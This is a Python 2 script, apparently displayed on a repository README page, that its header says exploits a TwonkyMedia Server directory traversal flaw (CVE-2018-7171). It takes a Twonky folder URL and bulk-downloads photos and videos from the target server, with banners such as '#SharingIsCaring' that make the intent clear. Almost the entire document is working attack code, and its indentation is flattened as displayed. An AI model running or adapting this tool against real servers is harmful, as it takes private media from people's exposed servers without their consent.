README.md
Rendering markdown...
#!/usr/bin/python
# -*- coding: utf-8 -*-
'''
* ------------------------------------------------------------------------------
*
* This file is part of: TwonkyMedia Server 7.0.11-8.5 Directory Traversal CVE-2018-7171
*
* ------------------------------------------------------------------------------
*
* BSD 3-Clause License
*
* Copyright (c) 2018, Sven Fassbender
* Author: Sven Fassbender
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* * Neither the name of the copyright holder nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* * NON-MILITARY-USAGE CLAUSE
* Redistribution and use in source and binary form for military use and
* military research is not permitted. Infringement of these clauses may
* result in publishing the source code of the utilizing applications and
* libraries to the public. As this software is developed, tested and
* reviewed by *international* volunteers, this clause shall not be refused
* due to the matter of *national* security concerns.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* ------------------------------------------------------------------------------
'''
try:
import requests
from xml.etree import ElementTree
import wget
import sys
import socket
import os
except:
print "Missing dependencies. Run 'sudo pip install -r requirements.txt'"
def downloadWorker(tree, twonkyServer, downloadPath):
for child in tree.iter("res"):
if "LRG" in child.text or "AVI" in child.text or "MOV" in child.text: # Change resolution here available options LRG, SML, MED
url = child.text.replace("127.0.0.1",twonkyServer)
splited = url.split("/")
splitedTwo = splited[len(splited)-1]
fileUrl = downloadPath + "/" + splitedTwo[:splitedTwo.find("?")]
if not os.path.isfile(fileUrl):
try:
wget.download(url, downloadPath)
except socket.error, e:
if 'Errno 111' in e:
print '*** Connection refused ***'
print '*** Url: %s ***' %url
pass
elif 'Errno 10054' in e:
print '*** Connection closed by Remote Host ***'
print '*** Url: %s ***' %url
pass
else:
pass
return
# Fetch files from TwonkyMedia Server
def downloadFiles(twonky, twonkyServer, downloadPath):
twonkyFolderStart = twonky.find("#")
if twonkyFolderStart != -1:
twonkyFinalUrl = createTwonkyUrl(twonky, twonkyServer, twonkyFolderStart)
response = requests.get(twonkyFinalUrl)
tree = ElementTree.fromstring(response.content)
for child in tree.iter("childCount"):
pictureCount = child.text
break
if int(pictureCount) >= 30:
getAll = raw_input("Found %s pictures, get all? [Y, N] "%pictureCount)
else:
getAll = "N"
if getAll.upper() == "Y":
rangeList = range(0,int(pictureCount),30)
if rangeList[len(rangeList)-1] < int(pictureCount):
rangeList[len(rangeList)-1] = int(pictureCount)-30
for pics in rangeList:
downloadUrl = twonkyFinalUrl.replace("start=0", "start=" + str(pics))
response = requests.get(downloadUrl)
tree = ElementTree.fromstring(response.content)
downloadWorker(tree, twonkyServer, downloadPath)
elif getAll.upper() == "N":
downloadWorker(tree, twonkyServer, downloadPath)
else:
print "*** Invalid Input! ***"
else:
print "*** Invalid Url! ***"
sys.exit()
# Create the URL
def createTwonkyUrl(twonky, twonkyServer, twonkyFolderStart):
twonkyUrl = twonky[twonkyFolderStart+1:]
twonkyUrlFindOne = twonkyUrl.find(":9000")
twonkyUrlFindTwo = twonkyUrl.find(":9001")
if twonkyUrlFindOne != -1:
twonkyFinalUrlEnd = twonkyUrl[twonkyUrlFindOne:]
twonkyFinalUrl = "http://" + twonkyServer + twonkyFinalUrlEnd
return twonkyFinalUrl
elif twonkyUrlFindTwo != -1:
twonkyFinalUrlEnd = twonkyUrl[twonkyUrlFindTwo:]
twonkyFinalUrl = "http://" + twonkyServer + twonkyFinalUrlEnd
return twonkyFinalUrl
else:
print "*** Invalid Url! ***"
sys.exit()
# Check if the local directory exists
def checkCreateDir(downloadPath, twonkyServer):
directory = downloadPath + twonkyServer
if not os.path.exists(directory):
try:
os.makedirs(directory)
print "*** Directory %s created. ***" %directory
except OSError as e:
print "Error: " %e
sys.exit()
else:
print "*** Directory %s found. ***" %directory
return directory
# Program start here
def main():
if len(sys.argv) != 2 :
print "Usage: " + sys.argv[0] + " [Downloadpath]'"
sys.exit()
else:
downloadPath = sys.argv[1]
print "-" * 30
print "#SharingIsCaring"
print "-" * 30
twonky = raw_input("Enter Twonky Folder Url: ")
twonkyServerStart = twonky.find("http://")
twonkyServerEndOne = twonky.find(":9000")
twonkyServerEndTwo = twonky.find(":9001")
if twonkyServerEndOne != -1:
twonkyServer = twonky[twonkyServerStart+7:twonkyServerEndOne]
elif twonkyServerEndTwo != -1:
twonkyServer = twonky[twonkyServerStart+7:twonkyServerEndTwo]
else:
print "*** Invalid Url! ***"
sys.exit()
downloadFiles(twonky, twonkyServer, checkCreateDir(downloadPath, twonkyServer))
continueDownload = raw_input("\nContinue downloading? [Y, N] ")
if continueDownload.upper() == "Y":
main()
else:
print "\n*** Thanks for Sharing :) ***"
sys.exit()
main()